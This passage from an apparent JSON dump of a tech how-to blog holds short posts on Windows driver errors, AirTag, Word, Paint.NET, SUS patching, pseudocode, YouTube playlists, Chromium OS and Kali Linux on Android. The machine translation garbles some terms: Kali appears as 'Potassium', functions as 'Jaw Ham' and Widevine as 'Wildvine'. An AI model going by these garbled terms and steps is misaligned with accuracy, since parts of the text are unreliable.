the system with Check Disk will isolate and fix these problems.\n7. Re-register wdf01000.sys Use the System Registry to do this task.\nImportant Note : Always locate reinstallation and system backup files before making changes to the registry. Registry is a complex part of Windows operating system and making the wrong changes can cause more problems.\n8. Reinstall Windows When the above steps fail, this last option usually prevents the problem from happening again. When the reinstallation is complete, restore the files from the backup.\nReinstalling Windows means everything on your computer will be erased, so make sure you have a current backup of your files and apps before you start.\nfix windows error ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4sMVpaGloYKjGtHnEq6moql2eu27DyKebqK%2Bj\n","link":"/post/how-to-fix-wdf01000-sys-error-in-windows/","section":"post","tags":null,"title":"How to fix Wdf01000.sys error in Windows"},{"body":"If you have set up AirTag and attached it to an item, you can track it in the ‌Find My app if you accidentally left it somewhere. ‌Find My‌ uses the Bluetooth signal from a lost AirTag to transfer its location back to the owner, and on devices that also have the U1 chip, has an exact search feature that allows you to pinpoint the location of the AirTag when it is in range.\nBut what if AirTag-mounted items are not in line of sight, even when it is close? For example, if you know you've lost the keys in the back of the couch, it can still be difficult to find them again. Luckily, Apple has this in mind, which is why you can create a sound AirTag to help you find it.\nHow to make AirTag sound If there is an AirTag nearby, you can ask it to play a sound so it can be located more easily.\nGo to the Find My app , choose Items .\nSelect the AirTag you want to play a sound on.\nClick Play Sound .\n  To stop the sound before it turns off automatically, press Stop Sound . You can pick up the AirTag and grip it tightly so it doesn't make any sound.\nUse Siri to play AirTag sounds If you ask Siri to find things for you or make a sound on the AirTag attached to the object, Siri will connect to the AirTag and make it play a sound that helps you find the item faster.\nYou'll also see a map of directions to the item and its last known location. If you have a supported iPhone and are near AirTag, you can find the exact location.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZurdSdoKhln6N6orXRrZig\n","link":"/post/how-to-play-audio-on-airtag/","section":"post","tags":null,"title":"How to play audio on AirTag"},{"body":"To number the page from the beginning of the document to the end of the document, surely you all know go to Insert -\u0026gt; Page Number. But with many Word documents, the first pages are the table of contents, the preamble, the list of drawings, the list of charts . that you only want to number the page from the beginning page with the content of the document. If you do not know how to number pages from any page in Word, then please refer to the article below.\n  The article details instructions on page numbering from any page in Word quickly.\nStep 1: Break the page starting from the page you want to paginate\nPage breaks allow you to create a new section for your text. This new section starts from the page where you want to number the page to the end of the text. Each Section you can number different pages, unrelated to each other. To break a page, place your cursor at the top of the page that you want to start numbering as shown below.\n  Next select the Layout tab -\u0026gt; Breaks -\u0026gt; Next Page.\n  So you've separated the text into 2 sections, Section 2 starts from the page you want to paginate.\n  Step 2: Number the page for the entire Word document\nSelect Insert -\u0026gt; Page Number -\u0026gt; choose the position and type of page numbering . At this time, the page number is still consecutive from Section 1 to Section 2.\n  Step 3: Set the page number\nThis setup helps make the page numbers for each section start from the number you set (for example, if the page set starts with 1, the section 1 pages are also numbered from 1, section 2). The pages are also numbered from 1).\nSelect Insert -\u0026gt; Page Number -\u0026gt; Format Page Numbers.\n  Appearing Format Page Numbers you choose the type of cell number in the Number format , select Start at the 1 (or any number you want to hit since the beginning of the section). Click OK to close.\n  Once it's set up, both Section 1 and Section 2 are paginated starting from 1.\nStep 4: Disconnect the links between the two sections\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \nStill at the header and footer interface, to disconnect between the two sections, select the Design tab -\u0026gt; click to uncheck Link to Previous to disconnect the two sections.\n  Step 5: Delete the page numbers in Section 1\nAfter having disconnected the two sections, the two sections were unrelated. If you only want to number the page from the page you have broken the page (Section 2), then you need to delete the page number in Section 1. Place the cursor on the page number of Section 1 and select Insert -\u0026gt; Page Number -\u0026gt; Remove Page Numbers .\n  So you've deleted the page number on Section 1, the rest of the page on Section 2 is also the number of pages from any page you want.\n  So with just 5 steps that the article has instructed, you can now number pages from any page in Word quickly. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWampaKvpr7Ip55mqJGcsrR5xaumpmWRo8ZuvMCgnGahnmLEsL7DZqiuoZOgubp5kWlpaQ%3D%3D\n","link":"/post/instructions-for-numbering-pages-from-any-page-in-word-quickly-2020/","section":"post","tags":null,"title":"Instructions for numbering pages from any page in Word quickly 2020"},{"body":"Paint.Net is a free tool that allows you to edit photos, the software is quite simple and consumes less memory. Although it is a free tool, it is not inferior to paid tools. Paint.Net brings you professional photo editing features for Windows-based computers.\nYou can download Paint.Net at: http://www.getpaint.net/download.html.\nThe interface of the software:\n  Main features of Paint.Net: - Simple intuitive interface, you can easily use immediately.\n- Support working in class.\n- Works with online community: Paint.Net has a friendly online community forum, passionate about technology and growing.\n- Integrating utility tools: Simple tool for drawing shapes used for spline or Bezier lines, Gradient tools and many other utility tools.\n- Many special effects: Paint.Net includes special effects to enhance image quality such as blurring, sharpening, removing red-eye, distortion, and highlighting . it also includes effects. Increase the size and rotate the unique 3D. Adjustment feature allows you to adjust the contrast, hue, saturation.\n- Automatically update the new version.\n- Record the history of operations, unlimited undo capability.\nIntroducing some of Paint.Net's tools   + Rectangle Select: Rectangle selection tool.\n+ Lasso Select: Tools to select any image.\n+ Ellipse Select: Selection tool for ellipse area.\n+ Move Selected Pixels: Move the selected area.\n+ Zoom: Tool enlarges the image.\n+ Magic Wand: \"magic wand\" chooses the parts of the same color.\n+ Pan: Move the picture.\n+ Paint Bucket: Fill color by region.\n+ Gradient: Create reflection effects, focus . colors.\n+ Eraser: Eraser .\n+ Pencil: Pencil drawing freely.\n+ Color Picker: Color pen.\n+ Bush: Brush with stroke options card.\n+ Text: Write the word.\n+ Line: Draw a straight line.\n+ Curve: Draw a curve.\n+ Shapes: Draw shapes.\nMenu Bar: \nMenu Image: Basic operations on the whole image.\nMenu Layer: Actions on the current layer or selected area.\nMenu Adjustment: Adjust the specifications.\nMenu Effect: Add special effects.\nTake a picture is available. Click the Print Screen SysRq button on the keyboard.\nOpen Paint.NET and select Edit -\u0026gt; Paste (or Ctrl + V ).\nHow to isolate an image from the background. You choose File -\u0026gt; Open select the image you want to split, or drag the image into the Paint.NET interface.\nYou then use the \"magic wand\" to point to the unwanted color, then select the Cut icon or Ctrl + C combination .\n  Do the same with the rest of the areas so we will get a picture without a background.\n  Note: You can Room to image to manipulate, you can use more Eraser (eraser) to remove excess.\nResize, change image orientation. You click on Image on the menu:\n- To resize the image you select Resize then enter the image size you want to change and click OK .\n- To change the direction of the image you choose Flip Horizontal (left, right), Flip Vertical (up, down).\nMerge 2 or more photos together. There are 2 pictures after removing unnecessary parts.\n  You choose File -\u0026gt; New to create a new page. Select the new page ( Ctrl + A ) then select the Cut icon (or Ctrl + C ).\n  Copy each image and Paste to this new page.\n  Select Layers -\u0026gt; Add New Layer .\n  Then Paste ( Ctrl + V ) and drag the cage onto the first image.\nThen select Layers -\u0026gt; Merge Layer Down .\n  To make multiple pictures you can do the same.\nPaint.Net is the perfect combination of Microsoft Paint and Photoshop. The program brings many useful features, above I introduce some features of Paint.Net, you can learn more about Paint.Net during use.\nncG1vNJzZmismaXArq3KnmWcp51kvaK1za2lnqxdm7%2BmsYypn6isn2KypbXToqWgZaOks7XDwKuc\n","link":"/post/paint-net-free-photo-editing-software/","section":"post","tags":null,"title":"Paint.Net free photo editing software"},{"body":"Perhaps everyone has suffered from computer problems that resulted in virus, hacker data loss and system vulnerabilities. So, since 1998 Microsoft has released a method to update patches when use Windows operating system through the websitewww.windowsupdate.com.When using Win XP or Win 2K SP3 or later, we have a new feature called A utomatic updates that can automatically connect to the windows update site to download the system patch files.\n\u0026nbsp;\n Automatic Updates program automatically updates the patch\u0026nbsp;\nHowever, in a distributed environment, the single update of patches for the system is often not highly effective due to many reasons such as sugar.\u0026nbsp; transmission, difficult to manage due to the carelessness of users. So in the role of IT Supervisor or Network Administrator, we probably want a more efficient method of processing.And fortunately, SUS can solve that problem for us, with SUS we can manage the update of system patches for users through one or more susserver intermediary servers.And the A utomatic updates program on users' computers will be configured to connect to the server to download updates instead of from the Microsoft website. This will help us manage the process of updating the system more effectively with mechanisms such as scheduling updates to clients or specifying files to be installed. \u0026nbsp; based on domain policy.\nIn this article, I will present the method of installing, configuring sus server and setting up domain policies on a real model of a customer company with more than 50 users to be able to manage and deploy counter. Update the system more effectively.\u0026nbsp;\nThe TestLab model needs the following machines:\u0026nbsp;\nStep 1: Install and Configure Software Update Services\nSoftware Update Services (SUS) is a completely free, downloadable product\u0026nbsp; from http://www.microsft.com/downloads and proceed to install on susserver.mcsesecurity.com.The installation process is relatively simple, we only need to specify the location to store the necessary files of the program and follow some instructions given as shown below.\n\u0026nbsp;\n After the installation process is complete, the next step is to log into the admin websitehttp://susserver.mcsesecurity.com\u0026nbsp; conduct data synchronization with Microsoft server update\u0026nbsp; and perform some necessary configuration operations.\n\u0026nbsp;\n\u0026nbsp;\n Administration website of Software Update Service server\n\u0026nbsp;\nClick Synchronize to download the fixes from Microsoft servers, because the volume of updates is quite large, it takes a long time for the data synchronization process. Therefore, in order to limit bandwidth usage, we should set a schedule for this process to take place outside the working time by selecting Synchronizer Scheduler and setting the following parameters:\n\u0026nbsp;\n When the synchronization process finishes, depending on your system, you can select the necessary hotfixes to let the clients update through the A utomatic updates utility by selecting Approve updates and checking the files to patch for the machines. Online:\n\u0026nbsp;\n\u0026nbsp;\n List of patches and options\n\u0026nbsp;\nSo we have installed and configured the sus server. Next, we just need to configure the auomatic update program on the clients connected to this machine to download the patches to install again.If the client computers on the network do not have the Automatic updates utility, they can be downloaded from the Microsoft download website and distributed to the member machines through Group Policy or instructing the user to install them from a shared folder. Check the Cntrol Panel again when the installation is complete to ensure that Automatic Updates is available on your system.\n\u0026nbsp;\n  \n\u0026nbsp;\nStep 2: Configure Group Policy on the domain controller\nWe manage the patch update process for the client through Group Policy on the domain admin machine through the following actions:\n\u0026nbsp;\n1. Select Start -\u0026gt; Program-\u0026gt; Admnistrati Tools-\u0026gt; Active Directory User and Computer\n2. Click the right mouse on the domain and select Properties, then select Group Policy, select Default Domain Security Policy and click Edit to open the domain's policy editor and select Add / Remove Templates as shown below:\n\u0026nbsp;\n \u0026nbsp;\n3. Select the ADM (administrative template) named wuad.adm and click Open\n 4. Then we edit the policy by clicking Automatic Update in the right pane of the WUAU-ADM template and selecting Auto download and scheduler the install and determining the date and time for the client to download the system update files. About as shown below: \u0026nbsp;\n 5. Next, click on the Specific intranet Microsoft Update server location and select enable then enter the name of the sus server and select OK:\n\u0026nbsp;\n So we have completed the SUS server system and created the necessary policies so that the agents can download patches from the grave.\u0026nbsp; specific servers in the domain system.Following this, we run hGPupdate.exe from the Run command and ask users to restart the system when possible.\nNote: For computers in a Workgroup environment we can still deploy this model by changing the local policy of each machine. \u0026nbsp;\nTo ensure the safety of the system when a problem occurs, we should make backup of necessary data of the sus server .To backup your content, the website of administration and iis metabase, you can see more about this issue at microsoft site or contact the email address at the end of the post to get more information.\n\u0026nbsp;\nHowever, some patches may cause older applications on the system to become unstable, so for systems that are critical we should thoroughly check patch files on test machines and refer to Carefully review the production information about their side effects.And in order to know which computers on the system have not updated in time for this vulnerability, we should use automatic scanning programs provided by Micorosoft.\u0026nbsp; Offer like Hfnetchk or MBSA, these are\u0026nbsp; The program can be downloaded for free through the Microsoft download website.\nReferences - You can download books, demo video files and programs at the following address:\nhttp://www.security365.org/downloads/books\nhttp://www.security365.org/downloads/demo\nhttp://www.security365.org/downloads/software/\nNguyen Tran Duy Vinh, NetManager - MCP\nAn Security Solution Company\nwww.security365.org\nconsultant@security365.org\nncG1vNJzZmismaXArq3KnmWcp51kwrGwwK2cZpqlnHqntdeeqmaen6d6pbXSramimqWpsqV5xKetoqqfo7qmutOsZK%2BhkWLAur%2FTnqRmraCZrrWxjKycq66ZmLK0edKuqg%3D%3D\n","link":"/post/update-bug-fixes-for-distributed-environments-via-system-update-services-sus/","section":"post","tags":null,"title":"Update bug fixes for distributed environments via SYSTEM UPDATE SERVICES (SUS)"},{"body":"When you are just beginning to learn programming, there is a lot to learn before building your first application. Thinking as a programmer helps you break down problems into algorithms to solve them. Algorithms are the steps that your code will take to solve a problem or answer a question.\nThis can be challenging if you're just starting out. Turning ideas into actual code takes some practice.\nTo bridge the gap between what you want the application to do and the actual code to write, you can use pseudocode.\nLearn about Pseudocode What is pseudocode? How useful is pseudocode? How to write pseudocode Condition Repetition Jaw Error handling  What is pseudocode? Pseudocode is a plain text description of a piece of code or algorithm. It is not really programming, no scripts, no files and no programs. As the name implies, it is a 'pseudocode'.\nPseudocode is not written in any specific programming language. It is written in English and easy to understand.\nAlthough pseudocode is not written in a programming language, there are still keywords used to refer to common concepts when writing code. They are written in capital letters for easier reading.\nSTART INPUT READ / GET PRINT / DISPLAY CALCULATE / DETERMINE SET INCREMENT / DECREMENT PROGRAM END Here's a snippet of how pseudocode might look for a program that asks you to enter your favorite color and output your selection.\nSTART PROGRAM getColor Create variable Color Ask the user for their favorite color READ INPUT into Color PRINT Color END  This is a fairly simple algorithm written in pseudocode. Anyone can read and understand what it is trying to accomplish.\nAs a programmer, all you have to do is bring it to life using whatever programming language you write code in. This is the same program in JavaScript:\nlet color = window.prompt(\"What is your favorite color?\"); console.log(color);  This program uses JavaScript syntax to write algorithms. If you don't know JavaScript, it can be a little difficult to find out what's going on.\nPseudocode writes algorithms, programming languages ​​that write syntax.\nHow useful is pseudocode? Pseudocode helps you plan your application before writing. It helps you create algorithms that are easier to read than code syntax.\nThe JavaScript example is easy to read if you know this programming language. Specific terms like window.prompt or console.log don't reveal much about the algorithm.\nIf you interview to become a software engineer, the employer will not want you to remember the syntax. They will ask your knowledge about algorithms and structures. You will write much better code if you build your algorithms and structure before you start writing code.\nHow to write pseudocode Writing a full program using pseudocode requires a lot of different commands and keywords just like regular programming. Please rely on keywords with pseudocode statements to build algorithms.\nCondition Conditional statements are very important in programming. These statements are IF statements or IF / ELSE statements, which can add logic to the code. These statements are written in pseudocode, using:\nIF ELSE ELSE IF THEN Here, the program implements a simple IF / ELSE statement written in pseudocode. Let's see if you can determine what this code is trying to do just by reading it.\nSTART PROGRAM isOdd Create variable Choice Ask the user for a number READ INPUT into Choice IF Choice is even THEN PRINT \"No\" ELSE PRINT \"Yes\" ENDIF END  It's a fairly simple program, asking users to give a number and do something depending on whether it is an odd or even number.\nRepetition Another essential part of programming is iteration, also known as loop creation. Some common loops are for and while . Both can be written in pseudocode.\nSTART PROGRAM forLoop FOR 1 through 12 PRINT \"Hello\" ENDFOR END  This algorithm for a program will print 12 times the word 'Hello' . This shows how simple it is to write a loop in pseudocode.\nWhile loops are also written very easily\nSTART PROGRAM whileLoop Create variable Counter SET Counter equal to 1 WHILE Counter is less than 10 Print \"Hello\" INCREMENT Counter ENDWHILE END  Another fairly simple algorithm uses the while loop to print 'Hello'. Both loop examples have an explicit start and end to allow iteration.\nYou can also write do-while loops. The keywords in pseudocode will be REPEAT and UNTIL.\nSTART PROGRAM doWhileLoop Create variable Counter SET Counter equal to 1 REPEAT Print \"Hello\" INCREMENT Counter UNTIL Counter is equal to 10 END  Like a do-while loop, this will perform an action until certain criteria are met. Once it is met, the loop will exit.\nJaw Ham is the best programmer friend. They contain code that can be invoked and used in all high-level programming languages. Adding functions to pseudocode is easy.\nSTART PROGRAM sampleFunction PRINT \"This is a function\" END  You can call functions in pseudocode.\ncall sampleFunction  The function is very simple and you can add any logic you like.\nError handling Being able to write code that responds to bugs is very important when applications are developed. You can include this code in your pseudocode.\nYou can handle errors and exceptions by using keyword: EXCEPTION. Here, a simple algorithm will 'catch' the error\nSTART PROGRAM catchError Create variable Number Ask the user for a number READ INPUT into Number EXCEPTION WHEN Number is not a number PRINT \"Error: Please pick a number\" END  Testing code is very important to writing good applications. Some of these exceptions will reappear in your tests, so it's good to write them in your pseudocode when planning your application.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWgqLK2sM6cpp2d\n","link":"/post/what-is-pseudocode/","section":"post","tags":null,"title":"What is pseudocode?"},{"body":"Cisco has released Encrypted Traffic Analytics (ETA), a breakthrough technology that detects malware on encrypted network traffic without interfering with or decrypting data.\nThis solution was tested on a number of customers selected by Cisco since June 2017. They now say they will expand ETA support from Campus switch products to office routers (such as ISR and ASR). and virtual cloud service routers (like CSR).\nETA uses machine learning to analyze HTTPS traffic Cisco said the new ETA technology uses a multi-disciplinary machine learning system to read encrypted data, identifying the smallest differences between the initial traffic and the contaminated traffic. Cisco said:\n\"First, the ETA checks the initial data of the connection, which itself may contain important data about the rest of the content. Then a series of information about the length, duration of the package, brought to clues to traffic content The detection process based on this network traffic is supported by machine learning so it can be changed to stay effective. \"\nCisco also stated that the main benefit of ETA is to preserve privacy without trade-off with security or breaking the protocols that many companies use.\nCustomers need the latest Cisco products 'ETA was originally only on campus switches, Catalyst 9300 and 9400, now extended to both WAN and cloud,' said Scott Harrell, Cisco's Vice President and Director of Enterprise Networking Business.\nThe following products will receive ETA support in addition to OS IOS XE.\nIntegrated Services Router (ISR): 4000 Series, 1000 Series, ISRv are ENCS 5000 series Aggregation Services Router (ASR) 1000 series Cloud Services Router (CSR) 1000V A report from Phish Labs last month said that every four phishing sites have one page running through HTTPS. Gartner predicts that by 2019, 80% of Internet traffic will be encrypted and about 50% of malware campaigns will switch to using encryption technology.\nSee more:\nCisco brought SDN to Amazon, the general cloud of Microsoft and Google Cisco launched the fifth generation UCS server What is Cisco's new programmable switch? ncG1vNJzZmismaXArq3KnmWcp51ksKq%2FwqhkpZmlo7CpscNmmGaslZi1r7vLqJ6yZaSkeqqwxKerop6pYrqiuMicoKito2KwsLDEZqanZZWjsLPFz62cnWWkp66nssic\n","link":"/post/cisco-launched-a-technology-to-identify-malicious-code-on-encrypted-traffic/","section":"post","tags":null,"title":"Cisco launched a technology to identify malicious code on encrypted traffic"},{"body":"Creating a playlist of videos or creating YouTube video playlists means that you are creating a video collection with the same theme or simply videos that we want to put together in one group. Creating a YouTube video playlist makes it easy for users to manage and search videos when needed.\nIn addition, creating YouTube video playlist also attracts more viewers, especially for those who make money on YouTube, creating science on YouTube channel interface when others can search for videos by each playlist. You can create multiple playlists in your YouTube account. The following article will show you how to create YouTube video playlist and how to delete the created YouTube video playlist.\nInstructions on how to create a YouTube Channel Instructions for downloading mp3 music YouTube does not need software How to download the entire Video Playlist on Youtube 1. Instructions for creating YouTube video playlist Step 1:\nOpen the video to add a completely new playlist. Just below the video click on the 3 dash icon with the plus sign .\n  Then click Create new playlist .\n  Step 2:\nA new interface appears to let users enter a name for the new playlist with 150 characters and select a mode for the playlist. There will be 3 modes of selection for the playlist including:\nPublic: All YouTube users can find your video playlist. Non-public: Only those with the link playlist the video can watch the video. Privacy: Only creators can view videos in playlist created. Finally click the Create button below.\n  Immediately at the bottom left of the interface shows the message that created the playlist successfully and added the video to the playlist.\n  Step 3:\nWe continue to add videos to any newly created playlist. The playlist name will then appear in the selected list to save. To create another video playlist just click Create new playlist, then do the same as above.\n  Step 4:\nWhen we return to YouTube homepage, we will see the name of the newly created playlist in the list on the left side of the interface, the Library section.\n  Step 5:\nSwitch to the new interface and you'll see all the videos in the playlist. The above URL will be used to share the playlist of videos if there are two modes to allow others to watch videos in the playlist.\nIf you want to watch the whole video click Play all .\n  Step 6:\nRight below there is an Edit option to reset the YouTube video playlist.\n  In this section, users can click Add description to brief the playlist of YouTube videos if desired. The Share section will display the URL playlist link.\n  Playlist settings have the option to adjust the playlist mode, or set the automatic mode to add videos to the playlist.\n  Step 7:\nAlso on each video when hovering will display the Add button with options as shown below. If you want to delete the videos in the playlist, click the x icon.\n  2. How to add videos to YouTube playlist With the playlist created, in addition to streaming the video and then adding the playlist, the playlist also has the option of Adding videos .\n  We will see there are 3 ways to add videos including:\nVideo search: Enter keywords to find videos. URL: Add video with video link. Your YouTube video: Videos are available on YouTube that users post.   Method 1: Search for videos added to the playlist\nStep 1:\nYou just need to enter the topic video keyword to search and will display the list below.\n  Step 2:\nClick on a video you want to add, then click Next Add video below.\n  Method 2: Enter the video URL added to the playlist\nYou need to enter the YouTube video URL into the address bar and see the video below. Also press the Add video button to add to the playlist.\n  Method 3: Use videos uploaded to YouTube\nIf you have uploaded videos to YouTube, clicking on the YouTube videos section will display all videos. Just click on the video you want to add to the playlist and then click the Add video button below.\n  3. How to delete playlist YouTube videos To delete playlist YouTube videos created very simply simply click the playlist name in the Library section on the left of the interface. Then click on Edit .\nOn the far right, click on the 3 vertical dots icon and select Delete playlist .\n  Then YouTube will ask whether the user is sure to delete this video playlist, click Yes, delete it to agree. After deleting the Playlist, it cannot be retrieved, so users need to consider carefully.\n  Above is how to create YouTube playlist and ways to add videos to created playlist on YouTube. You can create multiple playlists according to different video themes and select playlist mode according to your needs. Before proceeding to delete the created YouTube playlist, it is necessary to download the important video because the playlist will not be recoverable.\nVideo tutorial to create YouTube playlist See more:\n2 ways to replay, replay YouTube videos automatically How to use YouTube Kids exclusively for children 10 most popular types of videos on YouTube I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapZ1llJq5psDEZq2inJWkerG4wLKjoqukqHqwuoyypq6spZey\n","link":"/post/how-to-create-and-delete-video-playlists-on-youtube/","section":"post","tags":null,"title":"How to create and delete video playlists on YouTube"},{"body":" This wikiHow will show you how to install Chromium OS. Chromium OS is the open-source version of Google's closed-source Chrome OS that is only available on Chromebooks. It's available for download for any computer, but might not be...\nMethod 1of 2:\nInstalling Chromium OS to a Computer Using CloudReady  Download and install CloudReady from https://www.neverware.com/freedownload/. CloudReady is the easiest method to install Chromium OS on your computer, and the links to download are under step 2. You'll need to download the correct version for the OS you're currently using. For example, if you're using a Windows 10 machine, you'll need to click the Download USB Maker button. If you're using a Mac, click either the 32-bit or 64-bit download button, then go to https://guide.neverware.com/build-installer/working-mac-os/#download-cloudready to follow the instructions for installing CloudReady. If you're having issues downloading CloudReady, you might need to update your BIOS, erase your disk, or disable fast boot and secure boot on your Linux.   Download Etcher from https://www.balena.io/etcher/. You'll want to click the green download button to change the download version if you need to. Etcher helps you flash OS images to SD cards \u0026amp; USB drives. Install Etcher once it downloads by running the Installer wizard and either following the on-screen prompts (Windows) or by dragging and dropping the program icon into the Applications folder (Mac).   Flash CloudReady to USB drive. You can find Etcher in your Start Menu or Applications folder. Select Select Image and choose the CloudReady downloaded file. Select Select Drive and choose the formatted USB drive. Select Flash! and the process will begin. It might take around 10 minutes to completely flash CloudReady onto the USB, but make sure Etcher says it's 100% completed before you close the program.   Restart your computer and boot from the USB drive. This can usually be done using a keyboard command such as F12 (Windows)]or Opt (Mac) while your computer is rebooting. If you're using Windows and can't boot from the USB drive, see this wikiHow to learn how to check (and change) the boot order.   Log in as a guest. Even if you are prompted to log in with your Google account, you can find the guest login at the bottom left corner of your screen.\n  Press Ctrl+Alt+F2 (Windows) or Ctrl+⌘ Cmd+F2 (Mac). A Terminal/command line prompt will open.\n  Enter sudo /usr/sbin/chromeos-install --dst /dev/sda. This command will install Chrome OS to your computer's storage drive.[1] This command will erase everything on your hard drive and install Chromium OS. If you're prompted for a username and password, use \"chronos\" as your login and \"chrome\" as the password.   Enable Proprietary Services for Netflix. By default, CloudReady does not include support for Flash or DRM protection schemes like Wildvine. To install these, open Settings and navigate to Plugins. Press Install next to Wildvine Content Decryption Module, Adobe Flash, and Proprietary Media Components.[2] If you're running into issues, you can always go to the CloudReady troubleshooting page for answers.  Method 2of 2:\nRunning Chromium OS from a USB drive in Live Mode  Download Chromium OS build from http://chromium.arnoldthebat.co.uk. You'll want to download the latest daily Chromium build. The builds are usually listed from most recent, so the first listing should be the download you want.\n  Extract the zipped image. The file downloaded as a .img.7z, so you'll want to download an unzipper like 7-Zip (Windows) or Keka (Mac), which are both free programs.\n  Formatthe USB drive to FAT32. If you see \"MS-DOS FAT\" instead, it's the same thing as FAT32.[3] In Windows, you can format your drive by navigating to your USB drive File Explorer, then clicking Manage and selecting Format. In the window that pops us, select Fat32 from the drop-down list in \"File System\" and click Start and OK. All the information on that drive will be deleted as it formats. With Macs, you need to access Disk Utility from the Utilities folder in Finder, select your USB drive, then click the Erase tab. Make sure the window next to \"Format\" says \"MS-DOS (FAT)\" before clicking Erase.   Download Etcher from https://www.balena.io/etcher/. You'll want to click the green download button to change the download version if you need to. Etcher helps you flash OS images to SD cards \u0026amp; USB drives. Install Etcher once it downloads by running the Installer wizard and either following the on-screen prompts (Windows) or by dragging and dropping the program icon into the Applications folder (Mac).   Flash the installed images from your computer to the USB. You'll find Etcher in your Start Menu or Applications folder. Click Select Image and select the Chromium OS image file. Click Select Drive and choose the USB drive you formatted. Click Flash to begin the process of flashing the image to your USB drive. Once the flash is complete, Etcher will begin validating the final product. Do not close the program until you see it's 100% finished.   Restart your computer and boot from the USB drive. This can usually be done using a keyboard command such as F12 (Windows) or Option (Mac) as the computer reboots. If you're using Windows and can't boot from the USB drive, see this wikiHow to learn how to check (and change) the boot order. Make sure the computer boots from the USB drive to boot with Chromium OS. Make sure you connect to a WiFi network once Chromium OS has booted so you can log in to your guest or Google account to access all the features available to the web-based OS.[4]   Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmqGqn6K2trmMqKo%3D\n","link":"/post/how-to-install-chromium-os/","section":"post","tags":null,"title":"How to Install Chromium OS"},{"body":"Making Kali Linux run on ARM hardware has been a major goal and so far the company has built original images for Samsung Chromebook, Odroid U2, Raspberry Pi, RK3306, Galaxy Note 10.1, CuBox, Efika MX and BeagleBone Black. However this does not mean that you cannot install Kali Linux in a chroot on most modern devices running Android . In fact, Linux Deploy developers have made this extremely easy to install Linux distributions in a chroot environment using a simple GUI builder.\nInstructions for installing Linux desktop environment on Android device Conditions :\nA device running Android 2.1 and above and has been rooted. The device has at least 5 GB of free space on internal memory or external memory. Wireless internet connection, fast. Patiently wait for the distribution to bootstrap from the network. Download : Linux Deploy Linux Deploy configuration for Kali\n  \nIn fact there is very little work to do to install Potassium. Select Kali Linux in the \" Distribution \" tab. Here, you can choose the architecture, authenticate the Kali mirror, set the type of installation and location on the Android device, etc. In general, the default Linux settings Deploy are very good so you don't need to change what.\nBuild image Kali\n  When satisfied with all settings, pressing the \" Install \" button will start bootstrap Kali Linux directly from the repository. Depending on the speed of Internet connection, this process may take some time. Once complete, you will have a basic installation of Kali Linux (without tools) at a minimum.\nStarting Potassium has been chroot\nWhen the installation process is complete, Linux Deploy will automatically mount and download the chroot Kali Linux image. This will make services such as SSH and VNC easier to access remotely. All this is done automatically by clicking the \" Start \" button . You should see Linux Deploy set the image with the output similar to the following:\n  At this stage, Linux Deploy will launch a VNC server and SSH inside the Potassium image has been chrooted. You can connect to a remote Kali session with the IP address assigned to the Android device (10.0.0.10 in this example).\nLog on to Potassium has been chroot\nNow you can use the SSH or VNC client to access the Kali instance. VNC password is \" changeme \" and SSH information is \" android \" for user name (configured via Linux Deploy) and \" changeme \" as password.\nmuts@slim:~$ ssh android@10.0.0.10 android@10.0.0.10 password: Linux localhost 3.4.5-447845 #1 SMP PREEMPT Fri Apr 12 17:22:34 KST 2013 armv7l Kali GNU/Linux 1.0 [running on Android via Linux Deploy] android@localhost:~$ sudo su root@localhost:/home/android # df Filesystem 1K-blocks Used Available Use% Mounted on /dev/loop3 4180944 667268 3304012 17% / tmpfs 952708 80 952628 1% /dev tmpfs 952708 0 952708 0% /dev/shm root@localhost:/home/android # root@localhost:/home/android # apt-get update Hit http://http.kali.org kali Release.gpg Hit http://http.kali.org kali Release Hit http://http.kali.org kali/main Sources Hit http://http.kali.org kali/contrib Sources Hit http://http.kali.org kali/non-free Sources Hit http://http.kali.org kali/main armel Packages Hit http://http.kali.org kali/contrib armel Packages Hit http://http.kali.org kali/non-free armel Packages Ign http://http.kali.org kali/contrib Translation-en_US Ign http://http.kali.org kali/contrib Translation-en Ign http://http.kali.org kali/main Translation-en_US Ign http://http.kali.org kali/main Translation-en Ign http://http.kali.org kali/non-free Translation-en_US Ign http://http.kali.org kali/non-free Translation-en Reading package lists. Done root@localhost:/home/android #\nImage size\nIf not changed, Linux Deploy will automatically set the image size to around 4GB for the \"bare\" Kali installation. If you want to install more Kali tools, you can use a larger image size, configured via the Linux Deploy settings.\nLocal VNC connection\nYou may need to try a few VNC clients to get the best results. Although controlling Kali through a local VNC client is not the most convenient, it is still possible. However, most people often use SSH'ing in this case.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmopqkmWK5qrrUsWSopl2Wu6W%2BzqKbZq2jnruoecuipa6wXZmysbjOsg%3D%3D\n","link":"/post/how-to-install-kali-linux-on-android-using-linux-deploy/","section":"post","tags":null,"title":"How to install Kali Linux on Android using Linux Deploy"},{"body":"1. How to restart iPhone with Face ID, iPhone SE (2nd generation), iPhone 8/8 Plus To restart iPhone, follow these steps in order:\nYou press and quickly release the Volume Up button. You press and quickly release the Volume Down button. You press and hold the Power button (the Side button) until you see the Apple logo appear on the screen, take your hand off the Power button. Restart your iPhone 7 or iPhone 7 Plus You follow the following steps in order:\nYou press and hold the Volume Down button and the Power button at the same time. When you see the Apple logo appear on the screen, take your hands off the two buttons. 3. Force restart iPhone 6s, 6s Plus or iPhone SE (1st generation) You follow in order of steps as follows:\nYou press and hold the Power button and the Home button at the same time. When you see the Apple logo appear on the screen, take your hands off the two buttons. Good luck.\nrestart iPhone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGivtNmoKmgn6OybsPHnqVmoaRisLOt0qGcrA%3D%3D\n","link":"/post/how-to-restart-iphone-when-it-crashes/","section":"post","tags":null,"title":"How to restart iPhone when it crashes"},{"body":"The Excel interface is a spreadsheet with extended rows and columns. Normally in an Excel table 